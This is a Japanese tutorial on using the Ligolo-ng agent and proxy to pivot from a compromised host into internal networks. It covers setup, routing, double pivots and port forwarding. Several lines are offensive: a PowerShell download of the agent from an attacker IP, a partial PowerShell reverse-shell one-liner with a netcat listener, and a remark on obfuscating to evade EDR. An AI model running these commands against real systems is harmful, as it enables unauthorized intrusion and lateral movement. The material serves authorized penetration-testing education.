Ligolo-ngは、ペネトレーションテストやレッドチーム活動において、ネットワーク内部へのアクセス経路を確保するための強力なツールです。特に、侵害したホストを踏み台(ピボット)として、外部から直接アクセスできない内部ネットワークセグメントを探査・攻撃する際に威力を発揮します。 このツールは、Nicolas Chatelain氏によって開発され、従来のSOCKSプロキシベースのツール(Chiselなど)とは異なり、TUNインターフェースを使用してVPNのように動作するのが最大の特徴です。これにより、より高速で安定した、そして透過的なネットワークアクセスが可能になります。
Ligolo-ngは主に二つのコンポーネントで構成されます。
- ligolo-proxy: 攻撃者のマシン(C2サーバー)で動作し、エージェントからの接続を受け付け、TUNインターフェースを作成して内部ネットワークへのルーティングを行います。
- ligolo-agent: 侵害されたターゲットマシン上で動作し、攻撃者のProxyサーバーに対してリバース接続を確立します。
このブログ記事では、特にligolo-agent
に焦点を当て、そのセットアップ方法と基本的な使い方について解説します。
Ligolo-ngの仕組み 💡
Ligolo-ngの動作原理は、リバース接続とTUNインターフェースの組み合わせに基づいています。
- 接続確立: 侵害されたマシン上で
ligolo-agent
が起動されると、攻撃者のマシンで待機しているligolo-proxy
に対してTCP/TLS接続を開始します。この「内側から外側へ」の接続方向により、ターゲットネットワークのファイアウォールによるインバウンド接続制限を回避しやすくなります。 - TUNインターフェース作成:
ligolo-proxy
は、接続を受け付けると攻撃者のマシン上に仮想的なネットワークインターフェース(TUNインターフェース、デフォルト名はligolo
)を作成します。 - ルーティング: 攻撃者は、アクセスしたい内部ネットワークのセグメント宛てのトラフィックが、この
ligolo
インターフェースを経由するようにルーティングを設定します。 - 通信転送:
ligolo
インターフェースに送られたネットワークパケットは、ligolo-proxy
によってカプセル化され、確立されたTLSトンネルを通じてligolo-agent
に転送されます。ligolo-agent
は受信したパケットをターゲットネットワークに送り出します。逆方向の通信も同様に処理されます。
この仕組みにより、攻撃者はあたかも自身のマシンがターゲットの内部ネットワークに直接接続されているかのように、内部ホストに対してping
、nmap
スキャン、各種ツールを利用した攻撃など、様々なネットワーク操作を行うことが可能になります。SOCKSプロキシを使用しないため、proxychains
のようなツールを介さずに、多くのネットワークツールを直接利用できるのが大きな利点です。
インストールとセットアップ ⚙️
Ligolo-ngを利用するには、攻撃者のマシンにligolo-proxy
を、ターゲットマシンにligolo-agent
を準備する必要があります。
Proxyサーバー(攻撃者マシン)の準備
攻撃者マシン(多くの場合Kali Linux)での準備手順です。
-
Ligolo-ngのインストール:
Kali Linux (2024.2以降) では、公式リポジトリに含まれているため、
apt
コマンドで簡単にインストールできます。sudo apt update sudo apt install ligolo-ng
これにより、
ligolo-proxy
とligolo-agent
の両方がインストールされます。ただし、常に最新版を利用したい場合や、他のディストリビューションを使用している場合は、GitHubリリースページから直接ダウンロードするか、ソースからビルドすることをお勧めします。GitHubリリースページ: https://github.com/nicocha30/ligolo-ng/releases
Go言語 (1.20以上が必要) がインストールされていれば、ソースからビルドすることも可能です。
git clone https://github.com/nicocha30/ligolo-ng.git cd ligolo-ng go build -o proxy cmd/proxy/main.go chmod +x proxy
-
TUNインターフェースの作成:
Ligolo-ngが通信をルーティングするために、TUNインターフェースを作成し、有効化します。
[your_username]
は自身のユーザー名に置き換えてください。sudo ip tuntap add user [your_username] mode tun ligolo sudo ip link set ligolo up
ifconfig ligolo
またはip addr show ligolo
コマンドでインターフェースが作成され、UP状態になっていることを確認できます。 -
Proxyサーバーの起動:
準備が整ったら、
ligolo-proxy
を起動します。自己署名証明書を自動生成して使用する-selfcert
オプションが便利です。./proxy -selfcert
デフォルトでは、ポート
11601
でエージェントからの接続を待ち受けます。他のオプション(Let’s Encrypt証明書の使用など)については、./proxy -h
で確認できます。
Agent(ターゲットマシン)の準備
ターゲットマシンでligolo-agent
を実行するための準備です。
-
Agentバイナリの入手:
ターゲットマシンのOSとアーキテクチャ(Windows/Linux、amd64/arm64など)に合った
ligolo-agent
のバイナリを、GitHubリリースページからダウンロードします。例:Windows 64bit用
ligolo-ng_agent_0.4.3_windows_amd64.zip
(バージョンは適宜最新のものに)例:Linux 64bit用
ligolo-ng_agent_0.4.3_linux_amd64.tar.gz
-
ターゲットマシンへの転送:
ダウンロードしたAgentバイナリを、何らかの方法でターゲットマシンに転送します。手法は状況によりますが、以下のような方法が考えられます。
- 攻撃者マシンでHTTPサーバーを立ててダウンロードさせる (
python3 -m http.server 80
) - 既存のC2チャネル(例: Meterpreter)のファイルアップロード機能を使う
- SMB共有を利用する
- PowerShellのダウンロードコマンド (
Invoke-WebRequest
,certutil
) を使う - SCPやFTP(もし利用可能なら)
例:ターゲットがWindowsで、攻撃者マシン(IP: 192.168.1.100)の/opt/ligoloディレクトリに
agent.exe
がある場合、ターゲット上でPowerShellからダウンロードInvoke-WebRequest -Uri http://192.168.1.100/agent.exe -OutFile C:\Windows\Temp\agent.exe
- 攻撃者マシンでHTTPサーバーを立ててダウンロードさせる (
Ligolo-ng Agentの基本的な使い方 🚀
Proxyサーバーが起動し、Agentバイナリがターゲットマシンに転送されたら、いよいよ接続を確立してピボットを開始します。
-
Agentの起動(ターゲットマシン):
ターゲットマシン上で
ligolo-agent
を実行し、攻撃者のProxyサーバーに接続します。[proxy_server_ip]
はProxyサーバー(攻撃者マシン)のIPアドレスに置き換えます。Proxyサーバーが自己署名証明書を使っている場合(-selfcert
オプションで起動した場合)、-ignore-cert
オプションが必要です。Windowsの場合:
C:\Windows\Temp\agent.exe -connect [proxy_server_ip]:11601 -ignore-cert
Linuxの場合:
chmod +x ./agent ./agent -connect [proxy_server_ip]:11601 -ignore-cert
成功すると、AgentはProxyサーバーへの接続を試み、接続が確立された旨のメッセージが表示されます。
⚠️ 注意:-ignore-cert
オプションは、証明書の検証をスキップするため、中間者攻撃のリスクがあります。可能であれば、正規の証明書を使用するか、-accept-fingerprint
オプションでProxyサーバー証明書のフィンガープリントを指定することを検討してください。 -
セッションの確認と選択(Proxyサーバー):
Agentが接続に成功すると、Proxyサーバー側のコンソールに
[INFO] Agent connected
のようなメッセージが表示され、インタラクティブなシェルが利用可能になります。session
コマンドを入力すると、接続中のAgentのリストが表示されます。ligolo-ng > session Session ID Hostname Username Operating System Address Agent Version ---------- -------- -------- ---------------- ------- ------------- 1 TARGET-PC WORKGROUP\User windows/amd64 192.168.100.5:12345 0.4.3 Use 'session [id]' to select a session.
操作したいAgentのIDを指定して、セッションを選択します。
ligolo-ng > session 1 [Agent : TARGET-PC\User@TARGET-PC] »
プロンプトが変わり、選択したAgentに対する操作が可能になります。
help
コマンドで利用可能なコマンド一覧を確認できます。 -
ネットワークインターフェースの確認(Proxyサーバー):
選択したAgentセッション内で
ifconfig
コマンドを実行すると、そのAgent(ターゲットマシン)が持つネットワークインターフェースの情報を確認できます。これにより、ピボット先の内部ネットワークのIPアドレス範囲を特定します。[Agent : TARGET-PC\User@TARGET-PC] » ifconfig Name MAC Address MTU IPv4 Address IPv6 Address ---- ----------- --- ------------ ------------ eth0 00:11:22:AA:BB:CC 1500 192.168.100.5/24 fe80::.../64 eth1 00:11:22:DD:EE:FF 1500 10.10.10.5/24 fe80::.../64
この例では、ターゲットマシンが
192.168.100.0/24
(外部からアクセス可能なネットワーク)と10.10.10.0/24
(内部ネットワーク)の二つのネットワークに接続されていることがわかります。ピボットの目的はこの10.10.10.0/24
ネットワークにアクセスすることです。 -
ルーティングの設定(Proxyサーバー):
攻撃者のマシンから内部ネットワーク(例:
10.10.10.0/24
)への通信が、Ligolo-ngが作成したTUNインターフェース(ligolo
)を経由するようにルーティングを設定します。これは、Proxyサーバーのインタラクティブシェルではなく、攻撃者マシンのターミナルで実行します。sudo ip route add 10.10.10.0/24 dev ligolo
-
トンネルの開始(Proxyサーバー):
最後に、Ligolo-ngのProxyサーバーのインタラクティブシェルに戻り、
start
コマンドを実行してトンネリングを開始します。[Agent : TARGET-PC\User@TARGET-PC] » start [+] Started tunnel
これで、攻撃者のマシンから
10.10.10.0/24
ネットワーク内のホストへの通信が可能になります。例えば、ping 10.10.10.1
やnmap 10.10.10.0/24
などを実行して、内部ネットワークへのアクセスを確認できます。これらの通信はすべてligolo
インターフェースと確立されたトンネルを経由します。
高度な機能とユースケース ✨
Ligolo-ng Agentは基本的なピボット機能以外にも、より複雑なシナリオに対応する機能を持っています。
ダブルピボット
最初のピボット先(例:DMZサーバー)から、さらに別の内部ネットワークセグメントにアクセスする必要がある場合があります。例えば、DMZサーバーが内部ネットワークA (10.10.10.0/24) と内部ネットワークB (10.10.20.0/24) の両方に接続している場合などです。
この場合、内部ネットワークA内の別のマシン(例:10.10.10.10)を侵害し、そのマシン上で2つ目のligolo-agent
を起動します。この2つ目のAgentも同じProxyサーバーに接続させます。Proxyサーバー側では、新しいAgentセッションが表示されるので、それを選択し、同様にifconfig
でネットワーク情報を確認、攻撃者マシンで内部ネットワークB (10.10.20.0/24) へのルートを追加し、start
コマンドでトンネルを開始します。これにより、攻撃者は内部ネットワークBにもアクセスできるようになります。
ダブルピボットのシナリオでは、複数のAgentからの接続をProxyサーバーが管理し、それぞれに対応するルートを設定することで、多段的なネットワーク侵入を実現します。
リスナー機能(ポートフォワーディング)
Ligolo-ngは、Agentが動作しているマシン上のポート、またはAgentからアクセス可能な内部ネットワーク上のホストのポートを、攻撃者マシンにフォワードするリスナー機能を提供します。これは、内部ネットワーク上のサービスに直接アクセスしたり、内部ネットワーク内のマシンからリバースシェルを受け取ったりする際に非常に便利です。
例えば、内部ネットワークのホスト10.10.10.20
で動作しているWebサーバー(ポート80)にアクセスしたい場合、ProxyサーバーのAgentセッション内で以下のようなコマンドを実行します。
[Agent : TARGET-PC\User@TARGET-PC] » listener_add --addr 0.0.0.0:8080 --to 10.10.10.20:80
これにより、Agentマシン(ピボットホスト)のポート8080
へのアクセスが、内部ホスト10.10.10.20
のポート80
に転送されます。攻撃者は、AgentマシンのIPアドレス(例: 192.168.100.5
)のポート8080
(http://192.168.100.5:8080
)にアクセスすることで、内部のWebサーバーを閲覧できます。
リバースシェルを受け取る場合も同様に、Agentマシン上の特定のポートをリッスンさせ、そのポートを攻撃者マシン上のNetcatリスナーなどに転送するように設定します。
# Agentセッション内でリスナー設定 (Agentの4444番ポートを攻撃者マシン192.168.1.100の4444番ポートへ転送)
[Agent : TARGET-PC\User@TARGET-PC] » listener_add --addr 0.0.0.0:4444 --to 192.168.1.100:4444 --tcp
# 攻撃者マシンでNetcatリスナー起動
nc -lvnp 4444
# 内部ネットワークのターゲットマシンからAgentマシンのIPとポートへリバースシェル接続
# 例: powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.5',4444);..."
Agentへの直接アクセス (240.0.0.1)
Ligolo-ngは特別なIPアドレス240.0.0.1
を予約しており、このIPアドレスへの通信は自動的に現在選択されているAgentセッションのローカルホスト (127.0.0.1) にリダイレクトされます。これにより、Agentマシン自体で動作しているローカルサービス(例:SSHサーバー、デバッグポートなど)に簡単にアクセスできます。
この機能を使うには、まず攻撃者マシンで240.0.0.1
へのルートを追加します。
sudo ip route add 240.0.0.1/32 dev ligolo
その後、例えばAgentマシン上でSSHサーバーがポート22で動作していれば、攻撃者のマシンからssh user@240.0.0.1
のように接続できます。
その他のAgentオプション
ligolo-agent
には他にも便利なオプションがあります。
オプション | 説明 |
---|---|
-connect [host:port] |
接続先のProxyサーバーのアドレスとポートを指定します。 |
-ignore-cert |
TLS証明書の検証を無視します(自己署名証明書使用時など)。セキュリティリスクがあるため注意が必要です。 |
-accept-fingerprint [hash] |
指定されたSHA256フィンガープリントを持つ証明書のみを受け入れます。-ignore-cert より安全な代替手段です。 |
-retry |
接続エラーが発生した場合に自動的に再試行します。不安定なネットワーク環境で役立ちます。 |
-proxy [url] |
AgentがProxyサーバーへ接続する際に、経由するHTTP/SOCKSプロキシサーバーを指定します。(例: http://user:pass@proxy.example.com:8080 ) |
-bind [ip:port] |
Agentがリッスンモードで動作し、Proxyサーバーからの接続を待ち受けます(リバース接続ではなくバインド接続)。ファイアウォールの設定によっては有用です。 |
-v |
詳細なログ出力を有効にします。デバッグ時に役立ちます。 |
セキュリティに関する考慮事項 ⚠️
Ligolo-ngは非常に強力なツールですが、その利用にはセキュリティ上の注意が必要です。
- Agentの配置: Agentバイナリをターゲットマシンに配置し実行すること自体が、検知されるリスクを伴います。アンチウイルスソフトやEDR(Endpoint Detection and Response)製品は、Ligolo-ng Agentのようなツールを悪意のあるものとして検出する可能性があります。難読化や実行方法の工夫が必要になる場合があります。
- 通信の暗号化と認証: Ligolo-ngはTLSによる暗号化通信をサポートしていますが、
-ignore-cert
オプションを使用すると証明書検証が行われず、中間者攻撃に対して脆弱になります。可能な限り、正規の証明書(Let’s Encryptなど)を使用するか、-accept-fingerprint
オプションで相手を確実に認証することが推奨されます。 - ログ: Ligolo-ng AgentおよびProxyは、接続やエラーに関するログを出力します。これらのログがターゲットマシンや攻撃者マシンに残ることで、活動の痕跡となる可能性があります。テストや演習環境以外での利用では、ログの管理に注意が必要です。
- 権限: Agentは一般ユーザー権限でも動作しますが、Proxyサーバー側でTUNインターフェースを作成したり、ルーティングを設定したりするには通常root/Administrator権限が必要です。
- ツールの検知: Ligolo-ngの通信パターンやバイナリ自体が、ネットワーク監視システムやセキュリティ製品によって検知される可能性があります。
これらのリスクを理解し、ペネトレーションテストやレッドチーム活動のルール、および法的・倫理的な範囲内でツールを使用することが重要です。
まとめ
Ligolo-ng Agentは、ネットワークピボットのための非常に効果的で使いやすいツールです。TUNインターフェースを利用することで、従来のSOCKSプロキシベースのツールよりも透過的で高速なアクセスを実現し、proxychains
などのラッパーツールなしで多くのネットワークツールを利用できます。
基本的なセットアップは、Proxyサーバーの準備、Agentバイナリのターゲットへの転送、Agentの起動、Proxyサーバーでのセッション選択、ルーティング設定、トンネル開始、という流れで行います。さらに、ダブルピボットやリスナー機能などを活用することで、より複雑なネットワーク環境にも対応可能です。
ペネトレーションテストやCTF、セキュリティ学習において、内部ネットワークへのアクセスが必要となる場面で、Ligolo-ng Agentの使い方をマスターしておくと、作業効率を大幅に向上させることができるでしょう。ただし、その強力さゆえに、利用する際はセキュリティリスクを十分に考慮し、責任ある使い方を心がけてください。💪